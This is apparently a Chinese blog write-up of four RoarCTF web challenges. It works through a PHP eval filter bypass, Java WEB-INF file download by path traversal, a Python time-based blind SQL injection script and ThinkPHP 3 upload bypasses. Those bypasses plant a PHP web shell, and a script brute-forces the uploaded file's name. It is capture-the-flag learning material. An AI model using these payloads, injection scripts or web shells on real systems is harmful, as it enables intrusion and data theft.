roarctf writeup

Easy_calc(url解析)

<?php
error_reporting(0);
if(!isset($_GET['num'])){
    show_source(__FILE__);
}else{
        $str = $_GET['num'];
        $blacklist = [' ', 't', 'r', 'n',''', '"', '`', '[', ']','$','\','^'];
        foreach ($blacklist as $blackitem) {
                if (preg_match('/' . $blackitem . '/m', $str)) {
                        die("what are you want to do?");
                }
        }
        eval('echo '.$str.';');
}
?>

页面是一个 计算机,读到calc.php源码

apache配置让num输入字符无法解析

GET /calc.php?%20num=print_r(scandir(chr(47))) //读目录
Array
(
    [0] => .
    [1] => ..
    [2] => .dockerenv
    [3] => bin
    [4] => boot
    [5] => dev
    [6] => etc
    [7] => f1agg
    [8] => home
    [9] => lib
    [10] => lib64
    [11] => media
    [12] => mnt
    [13] => opt
    [14] => proc
    [15] => root
    [16] => run
    [17] => sbin
    [18] => srv
    [19] => start.sh
    [20] => sys
    [21] => tmp
    [22] => usr
    [23] => var
)

Payload1

var_dump(file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103)))

Payload2

GET /calc.php?%20num=eval(end(getallheaders())) HTTP/1.1
Host: node3.buuoj.cn:28036
flag: var_dump(file_get_contents('/f1agg'));

Easyjava(Java文件结构)

登陆页面看到接口GET /Download?filename=help.docx

开始尝试

POST /Download?filename=/images/img1.jpg HTTP/1.1
POST /Download?filename=/WEB-INF/web.xml HTTP/1.1

得到

<welcome-file-list>
        <welcome-file>Index</welcome-file>
    </welcome-file-list>

    <servlet>
        <servlet-name>IndexController</servlet-name>
        <servlet-class>com.wm.ctf.IndexController</servlet-class>
    </servlet>
    <servlet-mapping>
        <servlet-name>IndexController</servlet-name>
        <url-pattern>/Index</url-pattern>
    </servlet-mapping>

    <servlet>
        <servlet-name>LoginController</servlet-name>
        <servlet-class>com.wm.ctf.LoginController</servlet-class>
    </servlet>
    <servlet-mapping>
        <servlet-name>LoginController</servlet-name>
        <url-pattern>/Login</url-pattern>
    </servlet-mapping>

    <servlet>
        <servlet-name>DownloadController</servlet-name>
        <servlet-class>com.wm.ctf.DownloadController</servlet-class>
    </servlet>
    <servlet-mapping>
        <servlet-name>DownloadController</servlet-name>
        <url-pattern>/Download</url-pattern>
    </servlet-mapping>

    <servlet>
        <servlet-name>FlagController</servlet-name>
        <servlet-class>com.wm.ctf.FlagController</servlet-class>
    </servlet>
    <servlet-mapping>
        <servlet-name>FlagController</servlet-name>
        <url-pattern>/Flag</url-pattern>
    </servlet-mapping>

最后得到flag

POST /Download?filename=/WEB-INF/classes/com/wm/ctf/FlagController.class HTTP/1.1
flagLjava/lang/String;<init>()VCodeLineNumberTabledoGetR(Ljavax/servlet/http/HttpServletRequest;Ljavax/servlet/http/HttpServletResponse;)V
Exceptions#$
SourceFileFlagController.javaRuntimeVisibleAnnotations%Ljavax/servlet/annotation/WebServlet;nameFlagController<ZmxhZ3s5YjY3N2UwNC03MzM1LTQyNWEtYTMxZi1iOTVmZTc1MWFlNmR9Cg==    
%&'&<h1>Flag is nearby ~ Come on! !

Online_proxy(时间盲注)

脚本

import requests
import string
import random
import time
import sys

url = 'http://*********************.4hou.com.cn:*****/'

def rand_str(length=8):
    return ''.join(random.sample(string.ascii_letters + string.digits, length))

def brute_schema(i, c):
    cookies = {"track_uuid": "ad6e17bd-1a8b-442e-f834-%s" % rand_str()}
    headers = {"X-Forwarded-For": "1' and if(binary(select substr(table_schema,%d,1) from information_schema.tables group by table_schema limit 4,1)>=char(%d),sleep(1),0))#" % (i, ord(c))}
    headers["X-Forwarded-For"] += rand_str()
    while True:
        try:
            requests.get(url, headers=headers, cookies=cookies, timeout=3)
        except:
            continue
        break
    headers["X-Forwarded-For"] = rand_str()
    t1 = 0
    t2 = 0
    while True:
        try:
            t1 = time.time()
            requests.get(url, headers=headers, cookies=cookies, timeout=3)
            t2 = time.time()
        except:
            continue
        break
    if t2 - t1 > 1: return True
    return False

def brute_table(i, c):
    cookies = {"track_uuid": "ad6e17bd-1a8b-442e-f834-%s" % rand_str()}
    headers = {"X-Forwarded-For": "1' and if(binary(select substr(table_name,%d,1) from information_schema.tables where table_schema='F4l9_D4t4B45e' limit 0,1)>=char(%d),sleep(2),0))#" % (i, ord(c))}
    headers["X-Forwarded-For"] += rand_str()
    while True:
        try:
            requests.get(url, headers=headers, cookies=cookies, timeout=3)
        except:
            continue
        break
    headers["X-Forwarded-For"] = rand_str()
    t1 = 0
    t2 = 0
    while True:
        try:
            t1 = time.time()
            requests.get(url, headers=headers, cookies=cookies, timeout=3)
            t2 = time.time()
        except:
            continue
        break
    if t2 - t1 > 2: return True
    return False

def brute_column(i, c):
    cookies = {"track_uuid": "ad6e17bd-1a8b-442e-f834-%s" % rand_str()}
    headers = {"X-Forwarded-For": "1' and if(binary(select substr(column_name,%d,1) from information_schema.columns where table_name='F4l9_t4b1e' limit 0,1)>=char(%d),sleep(2),0))#" % (i, ord(c))}
    headers["X-Forwarded-For"] += rand_str()
    while True:
        try:
            requests.get(url, headers=headers, cookies=cookies, timeout=3)
        except:
            continue
        break
    headers["X-Forwarded-For"] = rand_str()
    t1 = 0
    t2 = 0
    while True:
        try:
            t1 = time.time()
            requests.get(url, headers=headers, cookies=cookies, timeout=3)
            t2 = time.time()
        except:
            continue
        break
    if t2 - t1 > 2: return True
    return False

def brute_flag(i, c):
    cookies = {"track_uuid": "ad6e17bd-1a8b-442e-f834-%s" % rand_str()}
    headers = {"X-Forwarded-For": "1' and if(binary(select substr(F4l9_c01umn,%d,1) from F4l9_D4t4B45e.F4l9_t4b1e limit 1,1)>=char(%d),sleep(1),0))#" % (i, ord(c))}
    headers["X-Forwarded-For"] += rand_str()
    while True:
        try:
            requests.get(url, headers=headers, cookies=cookies, timeout=3)
        except:
            continue
        break
    headers["X-Forwarded-For"] = rand_str()
    t1 = 0
    t2 = 0
    while True:
        try:
            t1 = time.time()
            requests.get(url, headers=headers, cookies=cookies, timeout=3)
            t2 = time.time()
        except:
            continue
        break
    if t2 - t1 > 1: return True
    return False

'''
schema = ''
for i in range(999):
    l = 0
    m = 0
    r = 0xff
    while True:
        m = (l + r) / 2
        print l, m, r
        if brute_schema(i + 1, chr(m)):
            if m == l:
                schema += chr(l)
                break
            l = m
        else:
            if m == l:
                schema += chr(l)
                break
            r = m
    print schema
'''

'''
table = ''
for i in range(999):
    l = 0
    m = 0
    r = 0xff
    while True:
        m = (l + r) / 2
        print l, m, r
        if brute_table(i + 1, chr(m)):
            if m == l:
                table += chr(l)
                break
            l = m
        else:
            if m == l:
                table += chr(l)
                break
            r = m
    print table
'''

'''
column = ''
for i in range(999):
    l = 0
    m = 0
    r = 0xff
    while True:
        m = (l + r) / 2
        print l, m, r
        if brute_column(i + 1, chr(m)):
            if m == l:
                column += chr(l)
                break
            l = m
        else:
            if m == l:
                column += chr(l)
                break
            r = m
    print column
'''


flag = ''
for i in range(len(flag),999):
    l = 0
    m = 0
    r = 0xff
    while True:
        m = (l + r) / 2
        print l, m, r
        if brute_flag(i + 1, chr(m)):
            if m == l:
                flag += chr(l)
                break
            l = m
        else:
            if m == l:
                flag += chr(l)
                break
            r = m
    print flag

Simple_upload(tp框架漏洞)

tp框架

<?php
namespace Home\Controller;

use Think\Controller;

class IndexController extends Controller
{
    public function index()
    {
        show_source(__FILE__);
    }
    public function upload()
    {
        $uploadFile = $_FILES['file'] ;

        if (strstr(strtolower($uploadFile['name']), ".php") ) {
            return false;
        }

        $upload = new \Think\Upload();// 实例化上传类
        $upload->maxSize  = 4096 ;// 设置附件上传大小
        $upload->allowExts  = array('jpg', 'gif', 'png', 'jpeg');// 设置附件上传类型
        $upload->rootPath = './Public/Uploads/';// 设置附件上传目录
        $upload->savePath = '';// 设置附件上传子目录
        $info = $upload->upload() ;
        if(!$info) {// 上传错误提示错误信息
          $this->error($upload->getError());
          return;
        }else{// 上传成功 获取上传文件信息
          $url = __ROOT__.substr($upload->rootPath,1).$info['file']['savepath'].$info['file']['savename'] ;
          echo json_encode(array("url"=>$url,"success"=>1));
        }
    }
}

测试上传功能没问题,但是源码中限制了$_FILES[file]文件名不能是.php文件,得想办法绕过。

查看thinkphp3的源码,ThinkPHP/Library/Think/Upload.class.php就是对应Upload类。我们可以发现上述代码中的allowExts属性其实并不存在,TP3 中限制上传文件后缀类型的属性应该是exts

解法1

上传类的upload() 函数不传参时为多文件上传,整个 $_FILES 数组的文件都会上传保存,而题目中只限制了 $_FILES[‘file’] 的上传后缀,也只给出$_FILES[‘file’] 上传后的路径,那我们上传$_FILES的name不为file,比如$_FILES[‘file2’],就可以绕过 php 后缀限制。

Upload.class.php的第 27 行

'saveName' => array('uniqid', ''), //上传文件命名规则,[0]-函数名,[1]-参数,多个参数使用数组

文件名是通过uniqid函数生成的,uniqid函数是基于以微秒计的当前时间计算的,可以爆破文件名。

脚本

import requests
session = requests.Session()
url="http://localhost:8888/tp"

paramsMultipart = [('file', ('1.txt', "123", 'application/octet-stream')),('file2', ('1.php', "<?php eval($_POST['a']);", 'application/octet-stream'))]
response = session.post(url+"/index.php/home/index/upload", files=paramsMultipart, )

print("Response body: %s" % response.content)
s=response.content.find('5db')
t1=response.content[s:s+13]
t11=int("0x"+t1,16)


paramsMultipart = [('file', ('1.txt', "123", 'application/octet-stream'))]
response = session.post(url+"/index.php/home/index/upload", files=paramsMultipart, )

print("Response body: %s" % response.content)
t2=response.content[s:s+13]
t22=int("0x"+t2,16)

for i in range(t11,t22):
    t2=hex(i)[2:]
    print t2
    url2=url+"/Public/Uploads/2019-10-24/"+t2+".php"
    response = session.get(url2)
    if response.status_code==200:
        print("Response body: %s" % response.content)
        break

解法2

Upload.class.php的第 157 行

$file['name'] = strip_tags($file['name']);

strip_tags()函数会去除文件名中的 HTML 标签。因此我们可以构造形如.p<br>hp这样的文件后缀,从而绕过对于.php的检测,进入 TP3 的upload类中,它又会帮我们去除 HTML 标签。

POST /index.php/home/index/upload HTTP/1.1
Host: 2f65d526-4167-4f89-bb36-1e748aed6d13.node3.buuoj.cn
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.120 Safari/537.36
Origin: http://172.21.11.222
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarysVAM76Hq7GOSqE1m
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Length: 224

------WebKitFormBoundarysVAM76Hq7GOSqE1m
Content-Disposition: form-data; name="file"; filename="1.p<br>hp";
Content-Type: text/plain

<?php phpinfo(); eval($_POST['a']); ?>
------WebKitFormBoundarysVAM76Hq7GOSqE1m--

返回{“url”:”/Public/Uploads/2019-10-24/5db11865ef0bd.php”,”success”:1},再访问得到flag

/Public/Uploads/2019-10-24/5db11865ef0bd.php

文章作者: hh
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 hh !
  目录